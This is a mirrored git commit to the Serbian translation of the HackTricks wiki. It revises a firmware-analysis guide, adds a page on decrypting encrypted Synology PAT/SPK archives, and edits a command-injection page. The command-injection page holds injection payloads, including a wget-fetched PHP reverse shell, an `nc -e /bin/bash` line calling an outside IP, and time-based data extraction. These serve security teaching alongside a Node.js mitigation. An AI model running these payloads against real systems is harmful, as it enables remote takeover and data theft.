mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/hardware-physical-access/firmware-analysis/README.md',
This commit is contained in:
parent
9fb80f2aec
commit
37f92b2481
@ -769,6 +769,7 @@
|
||||
- [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
|
||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
|
@ -4,7 +4,13 @@
|
||||
|
||||
## **Uvod**
|
||||
|
||||
Firmware je osnovni softver koji omogućava uređajima da pravilno funkcionišu upravljajući i olakšavajući komunikaciju između hardverskih komponenti i softvera s kojim korisnici interaguju. Čuva se u trajnoj memoriji, osiguravajući da uređaj može pristupiti vitalnim uputstvima od trenutka kada se uključi, što dovodi do pokretanja operativnog sistema. Istraživanje i potencijalno modifikovanje firmware-a je ključni korak u identifikaciji sigurnosnih ranjivosti.
|
||||
### Povezani resursi
|
||||
|
||||
{{#ref}}
|
||||
synology-encrypted-archive-decryption.md
|
||||
{{#endref}}
|
||||
|
||||
Firmware je osnovni softver koji omogućava uređajima da ispravno funkcionišu upravljajući i olakšavajući komunikaciju između hardverskih komponenti i softvera s kojim korisnici interaguju. Skladišti se u trajnoj memoriji, osiguravajući da uređaj može pristupiti vitalnim uputstvima od trenutka kada se uključi, što dovodi do pokretanja operativnog sistema. Istraživanje i potencijalno modifikovanje firmvera je kritičan korak u identifikaciji sigurnosnih ranjivosti.
|
||||
|
||||
## **Prikupljanje informacija**
|
||||
|
||||
@ -19,27 +25,27 @@ Firmware je osnovni softver koji omogućava uređajima da pravilno funkcionišu
|
||||
- Arhitektonskim i tokovnim dijagramima
|
||||
- Procjenama sigurnosti i identifikovanim ranjivostima
|
||||
|
||||
U tu svrhu, **alatke za otvorene izvore (OSINT)** su neprocenjive, kao i analiza bilo kojih dostupnih komponenti otvorenog koda kroz manuelne i automatske procese pregleda. Alati poput [Coverity Scan](https://scan.coverity.com) i [Semmle’s LGTM](https://lgtm.com/#explore) nude besplatnu statičku analizu koja se može iskoristiti za pronalaženje potencijalnih problema.
|
||||
U tu svrhu, **alatke za obaveštajne podatke otvorenog koda (OSINT)** su neprocenjive, kao i analiza bilo kojih dostupnih komponenti otvorenog koda kroz manuelne i automatske procese pregleda. Alati poput [Coverity Scan](https://scan.coverity.com) i [Semmle’s LGTM](https://lgtm.com/#explore) nude besplatnu statičku analizu koja se može iskoristiti za pronalaženje potencijalnih problema.
|
||||
|
||||
## **Sticanje firmware-a**
|
||||
## **Sticanje firmvera**
|
||||
|
||||
Dobijanje firmware-a može se pristupiti na različite načine, svaki sa svojim nivoom složenosti:
|
||||
Dobijanje firmvera može se pristupiti na različite načine, svaki sa svojim nivoom složenosti:
|
||||
|
||||
- **Direktno** od izvora (razvijača, proizvođača)
|
||||
- **Kreiranjem** prema datim uputstvima
|
||||
- **Preuzimanjem** sa zvaničnih sajtova podrške
|
||||
- Korišćenjem **Google dork** upita za pronalaženje hostovanih firmware datoteka
|
||||
- Direktnim pristupom **cloud storage**-u, uz alate poput [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- Presretanjem **ažuriranja** putem tehnika man-in-the-middle
|
||||
- **Ekstrakcijom** sa uređaja putem konekcija kao što su **UART**, **JTAG** ili **PICit**
|
||||
- **Sniffing**-om za zahteve za ažuriranje unutar komunikacije uređaja
|
||||
- Identifikovanjem i korišćenjem **hardkodiranih krajnjih tačaka za ažuriranje**
|
||||
- **Dumping**-om sa bootloader-a ili mreže
|
||||
- **Uklanjanjem i čitanjem** čipa za skladištenje, kada sve drugo ne uspe, koristeći odgovarajuće hardverske alate
|
||||
- **Direktno** od izvora (razvijači, proizvođači)
|
||||
- **Kreiranje** na osnovu datih uputstava
|
||||
- **Preuzimanje** sa zvaničnih sajtova podrške
|
||||
- Korišćenje **Google dork** upita za pronalaženje hostovanih firmver fajlova
|
||||
- Direktan pristup **cloud storage-u**, uz alate poput [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- Presretanje **ažuriranja** putem tehnika man-in-the-middle
|
||||
- **Ekstrakcija** sa uređaja putem konekcija kao što su **UART**, **JTAG**, ili **PICit**
|
||||
- **Sniffing** za zahteve za ažuriranje unutar komunikacije uređaja
|
||||
- Identifikovanje i korišćenje **hardkodiranih krajnjih tačaka za ažuriranje**
|
||||
- **Dumping** sa bootloader-a ili mreže
|
||||
- **Uklanjanje i čitanje** čipa za skladištenje, kada sve drugo ne uspe, koristeći odgovarajuće hardverske alate
|
||||
|
||||
## Analiza firmware-a
|
||||
## Analiza firmvera
|
||||
|
||||
Sada kada **imate firmware**, potrebno je da izvučete informacije o njemu kako biste znali kako da ga obradite. Različiti alati koje možete koristiti za to:
|
||||
Sada kada **imate firmver**, potrebno je da izvučete informacije o njemu kako biste znali kako da ga obradite. Različiti alati koje možete koristiti za to:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -113,7 +119,7 @@ Fajlovi će biti u "`squashfs-root`" direktorijumu nakon toga.
|
||||
|
||||
## Analiza Firmvera
|
||||
|
||||
Kada se firmver dobije, važno je da se razloži kako bi se razumeo njegova struktura i potencijalne ranjivosti. Ovaj proces uključuje korišćenje raznih alata za analizu i ekstrakciju vrednih podataka iz slike firmvera.
|
||||
Kada se firmver dobije, važno je da se razloži kako bi se razumeo njegova struktura i potencijalne ranjivosti. Ovaj proces uključuje korišćenje različitih alata za analizu i ekstrakciju vrednih podataka iz slike firmvera.
|
||||
|
||||
### Alati za Početnu Analizu
|
||||
|
||||
@ -132,17 +138,17 @@ Za ekstrakciju **ugrađenih fajlova**, preporučuju se alati i resursi kao što
|
||||
|
||||
### Ekstrakcija Fajl Sistema
|
||||
|
||||
Korišćenjem `binwalk -ev <bin>`, obično se može ekstraktovati fajl sistem, često u direktorijum nazvan po tipu fajl sistema (npr. squashfs, ubifs). Međutim, kada **binwalk** ne prepozna tip fajl sistema zbog nedostajućih magic bytes, ručna ekstrakcija je neophodna. To uključuje korišćenje `binwalk` za lociranje offset-a fajl sistema, a zatim `dd` komandu za izdvajanje fajl sistema:
|
||||
Koristeći `binwalk -ev <bin>`, obično se može ekstraktovati fajl sistem, često u direktorijum nazvan po tipu fajl sistema (npr. squashfs, ubifs). Međutim, kada **binwalk** ne prepozna tip fajl sistema zbog nedostajućih magic bajtova, ručna ekstrakcija je neophodna. To uključuje korišćenje `binwalk` za lociranje ofseta fajl sistema, a zatim `dd` komandu za izdvajanje fajl sistema:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
Nakon toga, u zavisnosti od tipa datotečnog sistema (npr., squashfs, cpio, jffs2, ubifs), koriste se različite komande za ručno ekstraktovanje sadržaja.
|
||||
Nakon toga, u zavisnosti od tipa datotečnog sistema (npr., squashfs, cpio, jffs2, ubifs), koriste se različite komande za ručno vađenje sadržaja.
|
||||
|
||||
### Analiza Datotečnog Sistema
|
||||
### Analiza datotečnog sistema
|
||||
|
||||
Sa ekstraktovanim datotečnim sistemom, počinje potraga za sigurnosnim propustima. Pažnja se posvećuje nesigurnim mrežnim demonima, hardkodiranim akreditivima, API krajnjim tačkama, funkcionalnostima servera za ažuriranje, nekompajliranom kodu, skriptama za pokretanje i kompajliranim binarnim datotekama za analizu van mreže.
|
||||
Sa izvučenim datotečnim sistemom, počinje potraga za sigurnosnim propustima. Pažnja se posvećuje nesigurnim mrežnim demonima, hardkodiranim akreditivima, API krajnjim tačkama, funkcionalnostima servera za ažuriranje, nekompajliranom kodu, skriptama za pokretanje i kompajliranim binarnim datotekama za analizu van mreže.
|
||||
|
||||
**Ključne lokacije** i **stavke** koje treba pregledati uključuju:
|
||||
|
||||
@ -152,25 +158,25 @@ Sa ekstraktovanim datotečnim sistemom, počinje potraga za sigurnosnim propusti
|
||||
- Ugrađene binarne datoteke za dalju analizu
|
||||
- Uobičajene web servere i binarne datoteke IoT uređaja
|
||||
|
||||
NSeveral tools assist in uncovering sensitive information and vulnerabilities within the filesystem:
|
||||
Nekoliko alata pomaže u otkrivanju osetljivih informacija i ranjivosti unutar datotečnog sistema:
|
||||
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) i [**Firmwalker**](https://github.com/craigz28/firmwalker) za pretragu osetljivih informacija
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) za sveobuhvatnu analizu firmvera
|
||||
- [**Alat za analizu i poređenje firmvera (FACT)**](https://github.com/fkie-cad/FACT_core) za sveobuhvatnu analizu firmvera
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), i [**EMBA**](https://github.com/e-m-b-a/emba) za statičku i dinamičku analizu
|
||||
|
||||
### Provere Bezbednosti na Kompajliranim Binarima
|
||||
### Provere sigurnosti na kompajliranim binarnim datotekama
|
||||
|
||||
I izvorni kod i kompajlirane binarne datoteke pronađene u datotečnom sistemu moraju se pažljivo pregledati zbog ranjivosti. Alati poput **checksec.sh** za Unix binarne datoteke i **PESecurity** za Windows binarne datoteke pomažu u identifikaciji nezaštićenih binarnih datoteka koje bi mogle biti iskorišćene.
|
||||
|
||||
## Emulacija Firmvera za Dinamičku Analizu
|
||||
## Emulacija firmvera za dinamičku analizu
|
||||
|
||||
Proces emulacije firmvera omogućava **dinamičku analizu** ili rada uređaja ili pojedinačnog programa. Ovaj pristup može naići na izazove sa zavisnostima od hardvera ili arhitekture, ali prebacivanje root datotečnog sistema ili specifičnih binarnih datoteka na uređaj sa odgovarajućom arhitekturom i redosledom bajtova, kao što je Raspberry Pi, ili na unapred izgrađenu virtuelnu mašinu, može olakšati dalja testiranja.
|
||||
Proces emulacije firmvera omogućava **dinamičku analizu** ili rada uređaja ili pojedinačnog programa. Ovaj pristup može naići na izazove sa zavisnostima od hardvera ili arhitekture, ali prenos korenskog datotečnog sistema ili specifičnih binarnih datoteka na uređaj sa odgovarajućom arhitekturom i redosledom bajtova, kao što je Raspberry Pi, ili na unapred izgrađenu virtuelnu mašinu, može olakšati dalja testiranja.
|
||||
|
||||
### Emulacija Pojedinačnih Binarnih Datoteka
|
||||
### Emulacija pojedinačnih binarnih datoteka
|
||||
|
||||
Za ispitivanje pojedinačnih programa, identifikacija redosleda bajtova programa i CPU arhitekture je ključna.
|
||||
|
||||
#### Primer sa MIPS Arhitekturom
|
||||
#### Primer sa MIPS arhitekturom
|
||||
|
||||
Da bi se emulirala binarna datoteka MIPS arhitekture, može se koristiti komanda:
|
||||
```bash
|
||||
@ -192,15 +198,15 @@ Alati kao što su [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware
|
||||
|
||||
## Dinamička analiza u praksi
|
||||
|
||||
U ovoj fazi, koristi se stvarno ili emulirano okruženje uređaja za analizu. Ključno je održati pristup shell-u operativnom sistemu i datotečnom sistemu. Emulacija možda neće savršeno oponašati interakcije hardvera, što zahteva povremena ponovna pokretanja emulacije. Analiza treba da ponovo pregleda datotečni sistem, iskoristi izložene veb stranice i mrežne usluge, i istraži ranjivosti bootloader-a. Testovi integriteta firmvera su ključni za identifikaciju potencijalnih ranjivosti backdoor-a.
|
||||
U ovoj fazi koristi se stvarno ili emulirano okruženje uređaja za analizu. Ključno je održati pristup shell-u operativnom sistemu i datotečnom sistemu. Emulacija možda neće savršeno oponašati interakcije sa hardverom, što zahteva povremena ponovna pokretanja emulacije. Analiza treba da ponovo pregleda datotečni sistem, iskoristi izložene veb stranice i mrežne usluge, i istraži ranjivosti bootloader-a. Testovi integriteta firmvera su ključni za identifikaciju potencijalnih ranjivosti backdoor-a.
|
||||
|
||||
## Tehnike analize u vreme izvođenja
|
||||
## Tehnike analize u runtime-u
|
||||
|
||||
Analiza u vreme izvođenja uključuje interakciju sa procesom ili binarnom datotekom u njenom operativnom okruženju, koristeći alate kao što su gdb-multiarch, Frida i Ghidra za postavljanje tačaka prekida i identifikaciju ranjivosti kroz fuzzing i druge tehnike.
|
||||
Analiza u runtime-u uključuje interakciju sa procesom ili binarnom datotekom u njenom operativnom okruženju, koristeći alate kao što su gdb-multiarch, Frida i Ghidra za postavljanje tačaka prekida i identifikaciju ranjivosti kroz fuzzing i druge tehnike.
|
||||
|
||||
## Eksploatacija binarnih datoteka i dokaz koncepta
|
||||
|
||||
Razvijanje PoC-a za identifikovane ranjivosti zahteva duboko razumevanje ciljne arhitekture i programiranje u jezicima nižeg nivoa. Zaštite u vreme izvođenja u ugrađenim sistemima su retke, ali kada su prisutne, tehnike kao što su Return Oriented Programming (ROP) mogu biti neophodne.
|
||||
Razvijanje PoC-a za identifikovane ranjivosti zahteva duboko razumevanje ciljne arhitekture i programiranje na nižim nivoima jezika. Zaštite u runtime-u u ugrađenim sistemima su retke, ali kada su prisutne, tehnike kao što su Return Oriented Programming (ROP) mogu biti neophodne.
|
||||
|
||||
## Pripremljeni operativni sistemi za analizu firmvera
|
||||
|
||||
@ -209,7 +215,7 @@ Operativni sistemi kao što su [AttifyOS](https://github.com/adi0x90/attifyos) i
|
||||
## Pripremljeni OS-ovi za analizu firmvera
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS je distribucija namenjena da vam pomogne u izvođenju procene bezbednosti i penetracionog testiranja uređaja Interneta stvari (IoT). Štedi vam mnogo vremena pružajući unapred konfigurisano okruženje sa svim potrebnim alatima.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Operativni sistem za testiranje bezbednosti ugrađenih sistema zasnovan na Ubuntu 18.04, unapred učitan sa alatima za testiranje bezbednosti firmvera.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Operativni sistem za testiranje bezbednosti ugrađenih sistema zasnovan na Ubuntu 18.04, unapred učitan alatima za testiranje bezbednosti firmvera.
|
||||
|
||||
## Napadi na smanjenje verzije firmvera i nesigurni mehanizmi ažuriranja
|
||||
|
||||
@ -238,7 +244,7 @@ U ranjivoj (smanjenoj) firmver verziji, `md5` parametar se direktno dodaje u she
|
||||
|
||||
### Ekstrakcija Firmvera Iz Mobilnih Aplikacija
|
||||
|
||||
Mnogi prodavci pakiraju pune slike firmvera unutar svojih pratećih mobilnih aplikacija kako bi aplikacija mogla ažurirati uređaj putem Bluetooth-a/Wi-Fi-a. Ovi paketi se obično čuvaju nešifrovani u APK/APEX-u pod putanjama kao što su `assets/fw/` ili `res/raw/`. Alati kao što su `apktool`, `ghidra`, ili čak običan `unzip` omogućavaju vam da preuzmete potpisane slike bez dodirivanja fizičkog hardvera.
|
||||
Mnogi prodavci pakiraju pune slike firmvera unutar svojih pratećih mobilnih aplikacija kako bi aplikacija mogla ažurirati uređaj putem Bluetooth/Wi-Fi. Ovi paketi se obično čuvaju nešifrovani u APK/APEX pod putanjama kao što su `assets/fw/` ili `res/raw/`. Alati kao što su `apktool`, `ghidra`, ili čak običan `unzip` omogućavaju vam da preuzmete potpisane slike bez dodirivanja fizičkog hardvera.
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
@ -246,8 +252,8 @@ firmware_v1.3.11.490_signed.bin
|
||||
```
|
||||
### Checklist for Assessing Update Logic
|
||||
|
||||
* Da li je transport/autentifikacija *update endpoint*-a adekvatno zaštićena (TLS + autentifikacija)?
|
||||
* Da li uređaj upoređuje **brojeve verzija** ili **monotonički anti-rollback brojač** pre nego što izvrši flash?
|
||||
* Da li je transport/ autentifikacija *update endpoint*-a adekvatno zaštićena (TLS + autentifikacija)?
|
||||
* Da li uređaj upoređuje **brojeve verzija** ili **monotoni anti-rollback brojač** pre nego što izvrši flash?
|
||||
* Da li je slika verifikovana unutar sigurnog boot lanca (npr. potpisi provereni od strane ROM koda)?
|
||||
* Da li korisnički kod vrši dodatne provere (npr. dozvoljena mapa particija, broj modela)?
|
||||
* Da li *delimični* ili *rezervni* tokovi ažuriranja ponovo koriste istu logiku validacije?
|
||||
|
@ -0,0 +1,162 @@
|
||||
# Synology PAT/SPK Encrypted Archive Decryption
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pregled
|
||||
|
||||
Nekoliko Synology uređaja (DSM/BSM NAS, BeeStation, …) distribuira svoj firmware i aplikacione pakete u **kriptovanim PAT / SPK arhivama**. Te arhive se mogu dekriptovati *offline* samo uz javne preuzete datoteke zahvaljujući hard-kodiranim ključevima ugrađenim unutar zvaničnih biblioteka za ekstrakciju.
|
||||
|
||||
Ova stranica dokumentuje, korak po korak, kako kriptovani format funkcioniše i kako potpuno povratiti čisti tekst **TAR** koji se nalazi unutar svakog paketa. Procedura se zasniva na istraživanju Synacktiv-a sprovedenom tokom Pwn2Own Irska 2024 i implementirana je u open-source alatu [`synodecrypt`](https://github.com/synacktiv/synodecrypt).
|
||||
|
||||
> ⚠️ Format je potpuno isti za `*.pat` (ažuriranje sistema) i `*.spk` (aplikacija) arhive – jedino se razlikuju u paru hard-kodiranih ključeva koji se biraju.
|
||||
|
||||
---
|
||||
|
||||
## 1. Preuzmite arhivu
|
||||
|
||||
Ažuriranje firmware/aplikacije se obično može preuzeti sa javnog portala Synology:
|
||||
```bash
|
||||
$ wget https://archive.synology.com/download/Os/BSM/BSM_BST150-4T_65374.pat
|
||||
```
|
||||
## 2. Ispusti PAT strukturu (opciono)
|
||||
|
||||
`*.pat` slike su same **cpio paket** koji sadrži nekoliko datoteka (boot loader, kernel, rootfs, paketi…). Besplatni alat [`patology`](https://github.com/sud0woodo/patology) je zgodan za pregledavanje tog omota:
|
||||
```bash
|
||||
$ python3 patology.py --dump -i BSM_BST150-4T_65374.pat
|
||||
[…]
|
||||
$ ls
|
||||
DiskCompatibilityDB.tar hda1.tgz rd.bin packages/ …
|
||||
```
|
||||
Za `*.spk` možete direktno preći na korak 3.
|
||||
|
||||
## 3. Izdvojite Synology biblioteke za ekstrakciju
|
||||
|
||||
Prava logika dekripcije se nalazi u:
|
||||
|
||||
* `/usr/syno/sbin/synoarchive` → glavni CLI omotač
|
||||
* `/usr/lib/libsynopkg.so.1` → poziva omotač iz DSM UI
|
||||
* `libsynocodesign.so` → **sadrži kriptografsku implementaciju**
|
||||
|
||||
Oba binarna fajla su prisutna u sistemskom rootfs (`hda1.tgz`) **i** u komprimovanom init-rd (`rd.bin`). Ako imate samo PAT, možete ih dobiti na ovaj način:
|
||||
```bash
|
||||
# rd.bin is LZMA-compressed CPIO
|
||||
$ lzcat rd.bin | cpio -id 2>/dev/null
|
||||
$ file usr/lib/libsynocodesign.so
|
||||
usr/lib/libsynocodesign.so: ELF 64-bit LSB shared object, ARM aarch64, …
|
||||
```
|
||||
## 4. Povratak hard-kodiranih ključeva (`get_keys`)
|
||||
|
||||
Unutar `libsynocodesign.so` funkcija `get_keys(int keytype)` jednostavno vraća dve 128-bitne globalne promenljive za traženu porodicu arhiva:
|
||||
```c
|
||||
case 0: // PAT (system)
|
||||
case 10:
|
||||
case 11:
|
||||
signature_key = qword_23A40;
|
||||
master_key = qword_23A68;
|
||||
break;
|
||||
|
||||
case 3: // SPK (applications)
|
||||
signature_key = qword_23AE0;
|
||||
master_key = qword_23B08;
|
||||
break;
|
||||
```
|
||||
* **signature_key** → Ed25519 javni ključ koji se koristi za verifikaciju zaglavlja arhive.
|
||||
* **master_key** → Glavni ključ koji se koristi za derivaciju ključa za enkripciju po arhivi.
|
||||
|
||||
Morate da izbacite ta dva konstanta samo jednom za svaku glavnu verziju DSM-a.
|
||||
|
||||
## 5. Struktura zaglavlja i verifikacija potpisa
|
||||
|
||||
`synoarchive_open()` → `support_format_synoarchive()` → `archive_read_support_format_synoarchive()` izvršava sledeće:
|
||||
|
||||
1. Pročitajte magiju (3 bajta) `0xBFBAAD` **ili** `0xADBEEF`.
|
||||
2. Pročitajte little-endian 32-bitni `header_len`.
|
||||
3. Pročitajte `header_len` bajtova + sledeći **0x40-bajtni Ed25519 potpis**.
|
||||
4. Iterirajte kroz sve ugrađene javne ključeve dok `crypto_sign_verify_detached()` ne uspe.
|
||||
5. Dekodirajte zaglavlje sa **MessagePack**, što daje:
|
||||
```python
|
||||
[
|
||||
data: bytes,
|
||||
entries: [ [size: int, sha256: bytes], … ],
|
||||
archive_description: bytes,
|
||||
serial_number: [bytes],
|
||||
not_valid_before: int
|
||||
]
|
||||
```
|
||||
`entries` kasnije omogućava libarchive da proveri integritet svake datoteke dok se dekriptuje.
|
||||
|
||||
## 6. Izvedi podključ po arhivi
|
||||
|
||||
Iz `data` blob-a sadržanog u MessagePack header-u:
|
||||
|
||||
* `subkey_id` = little-endian `uint64` na offsetu 0x10
|
||||
* `ctx` = 7 bajtova na offsetu 0x18
|
||||
|
||||
32-bajtni **stream key** se dobija pomoću libsodium:
|
||||
```c
|
||||
crypto_kdf_derive_from_key(kdf_subkey, 32, subkey_id, ctx, master_key);
|
||||
```
|
||||
## 7. Synology-ov prilagođeni **libarchive** backend
|
||||
|
||||
Synology uključuje ispravljen libarchive koji registruje lažni "tar" format kada je magija `0xADBEEF`:
|
||||
```c
|
||||
register_format(
|
||||
"tar", spk_bid, spk_options,
|
||||
spk_read_header, spk_read_data, spk_read_data_skip,
|
||||
NULL, spk_cleanup, NULL, NULL);
|
||||
```
|
||||
### spk_read_header()
|
||||
```
|
||||
- Read 0x200 bytes
|
||||
- nonce = buf[0:0x18]
|
||||
- cipher = buf[0x18:0x18+0x193]
|
||||
- crypto_secretstream_xchacha20poly1305_init_pull(state, nonce, kdf_subkey)
|
||||
- crypto_secretstream_xchacha20poly1305_pull(state, tar_hdr, …, cipher, 0x193)
|
||||
```
|
||||
Dešifrovani `tar_hdr` je **klasična POSIX TAR glava**.
|
||||
|
||||
### spk_read_data()
|
||||
```
|
||||
while (remaining > 0):
|
||||
chunk_len = min(0x400000, remaining) + 0x11 # +tag
|
||||
buf = archive_read_ahead(chunk_len)
|
||||
crypto_secretstream_xchacha20poly1305_pull(state, out, …, buf, chunk_len)
|
||||
remaining -= chunk_len - 0x11
|
||||
```
|
||||
Svaki **0x18-byte nonce** se dodaje ispred enkriptovanog dela.
|
||||
|
||||
Kada su svi unosi obrađeni, libarchive proizvodi savršeno validan **`.tar`** koji se može raspakovati sa bilo kojim standardnim alatom.
|
||||
|
||||
## 8. Dešifrujte sve sa synodecrypt
|
||||
```bash
|
||||
$ python3 synodecrypt.py SynologyPhotos-rtd1619b-1.7.0-0794.spk
|
||||
[+] found matching keys (SPK)
|
||||
[+] header signature verified
|
||||
[+] 104 entries
|
||||
[+] archive successfully decrypted → SynologyPhotos-rtd1619b-1.7.0-0794.tar
|
||||
|
||||
$ tar xf SynologyPhotos-rtd1619b-1.7.0-0794.tar
|
||||
```
|
||||
`synodecrypt` automatski detektuje PAT/SPK, učitava ispravne ključeve i primenjuje celu lanac opisan iznad.
|
||||
|
||||
## 9. Uobičajene zamke
|
||||
|
||||
* Ne **menjajte** `signature_key` i `master_key` – oni imaju različite svrhe.
|
||||
* **Nonce** dolazi *pre* šifrovanog teksta za svaki blok (zaglavlje i podaci).
|
||||
* Maksimalna veličina šifrovanog dela je **0x400000 + 0x11** (libsodium oznaka).
|
||||
* Arhive kreirane za jednu generaciju DSM-a mogu preći na različite hard-kodirane ključeve u sledećem izdanju.
|
||||
|
||||
## 10. Dodatni alati
|
||||
|
||||
* [`patology`](https://github.com/sud0woodo/patology) – parsiranje/dump PAT arhiva.
|
||||
* [`synodecrypt`](https://github.com/synacktiv/synodecrypt) – dešifrovanje PAT/SPK/drugo.
|
||||
* [`libsodium`](https://github.com/jedisct1/libsodium) – referentna implementacija XChaCha20-Poly1305 secretstream.
|
||||
* [`msgpack`](https://msgpack.org/) – serijalizacija zaglavlja.
|
||||
|
||||
## Reference
|
||||
|
||||
- [Ekstrakcija šifrovanih arhiva Synology – Synacktiv (Pwn2Own IE 2024)](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
- [synodecrypt na GitHub-u](https://github.com/synacktiv/synodecrypt)
|
||||
- [patology na GitHub-u](https://github.com/sud0woodo/patology)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Šta je injekcija komandi?
|
||||
## Šta je command Injection?
|
||||
|
||||
**Injekcija komandi** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da dobije neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.
|
||||
A **command injection** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da dobije neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.
|
||||
|
||||
### Kontekst
|
||||
|
||||
U zavisnosti od **gde se vaši podaci ubacuju**, možda ćete morati da **prekinete citirani kontekst** (koristeći `"` ili `'`) pre komandi.
|
||||
U zavisnosti od **gde se vaši podaci ubacuju** možda ćete morati da **prekinete citirani kontekst** (koristeći `"` ili `'`) pre komandi.
|
||||
|
||||
## Injekcija/izvršavanje komandi
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
#Both Unix and Windows supported
|
||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||
@ -29,15 +29,15 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Obilaženje** Ograničenja
|
||||
### **Limitation** Bypasses
|
||||
|
||||
Ako pokušavate da izvršite **arbitrarne komande unutar linux mašine** biće vam zanimljivo da pročitate o ovim **Obilaženjima:**
|
||||
Ako pokušavate da izvršite **arbitrarne komande unutar linux mašine** biće vam zanimljivo da pročitate o ovim **Bypasses:**
|
||||
|
||||
{{#ref}}
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
{{#endref}}
|
||||
|
||||
### **Primeri**
|
||||
### **Primjeri**
|
||||
```
|
||||
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
|
||||
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
||||
@ -75,7 +75,7 @@ Evo 25 najvažnijih parametara koji bi mogli biti podložni injekciji koda i sli
|
||||
```
|
||||
### Ekstrakcija podataka zasnovana na vremenu
|
||||
|
||||
Ekstrakcija podataka: karakter po karakter
|
||||
Ekstrakcija podataka: znak po znak
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -117,15 +117,39 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
{{#endref}}
|
||||
|
||||
## Lista za detekciju Brute-Force
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
|
||||
Kada auditujete JavaScript/TypeScript back-endove, često ćete se susresti sa Node.js `child_process` API-jem.
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` pokreće **shell** (`/bin/sh -c`), stoga svaki karakter koji ima posebno značenje za shell (back-ticks, `;`, `&&`, `|`, `$()`, …) će rezultirati **command injection** kada se korisnički unos konkatenira u string.
|
||||
|
||||
**Mitigacija:** koristite `execFile()` (ili `spawn()` bez `shell` opcije) i obezbedite **svaki argument kao poseban element niza** kako ne bi bio uključen shell:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
'--id_user', id_user,
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
Real-world case: *Synology Photos* ≤ 1.7.0-0794 je mogao biti iskorišćen kroz neautentifikovani WebSocket događaj koji je postavljao podatke kontrolisane od strane napadača u `id_user`, koji je kasnije bio ugrađen u `exec()` poziv, postignuvši RCE (Pwn2Own Ireland 2024).
|
||||
|
||||
## Brute-Force Detection List
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
|
||||
{{#endref}}
|
||||
|
||||
## Reference
|
||||
## References
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
